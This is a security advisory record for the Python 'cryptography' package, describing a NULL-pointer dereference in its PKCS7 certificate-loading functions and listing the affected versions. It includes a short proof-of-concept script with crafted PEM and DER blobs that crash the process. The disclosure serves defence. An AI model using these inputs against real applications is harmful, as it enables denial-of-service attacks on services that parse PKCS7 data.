GHSA-jfhm-5ghh-2f97

Source
https://github.com/advisories/GHSA-jfhm-5ghh-2f97
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/11/GHSA-jfhm-5ghh-2f97/GHSA-jfhm-5ghh-2f97.json
Aliases
Published
2023-11-28T20:46:46Z
Modified
2024-02-20T18:17:05.620610Z
Details

Summary

Calling load_pem_pkcs7_certificates or load_der_pkcs7_certificates could lead to a NULL-pointer dereference and segfault.

PoC

Here is a Python code that triggers the issue:

from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates

pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""

der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"

load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)

Impact

Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.

References

Affected packages

PyPI / cryptography

Package

Name
cryptography

Affected ranges

Type
ECOSYSTEM
Events
Introduced
3.1
Fixed
41.0.6

Affected versions

3.*

3.1
3.1.1
3.2
3.2.1
3.3
3.3.1
3.3.2
3.4
3.4.1
3.4.2
3.4.3
3.4.4
3.4.5
3.4.6
3.4.7
3.4.8

35.*

35.0.0

36.*

36.0.0
36.0.1
36.0.2

37.*

37.0.0
37.0.1
37.0.2
37.0.3
37.0.4

38.*

38.0.0
38.0.1
38.0.2
38.0.3
38.0.4

39.*

39.0.0
39.0.1
39.0.2

40.*

40.0.0
40.0.1
40.0.2

41.*

41.0.0
41.0.1
41.0.2
41.0.3
41.0.4
41.0.5

Ecosystem specific 

{
    "affected_functions": [
        "cryptography.hazmat.primitives.serialization.pkcs7.load_der_pkcs7_certificates",
        "cryptography.hazmat.primitives.serialization.pkcs7.load_pem_pkcs7_certificates"
    ]
}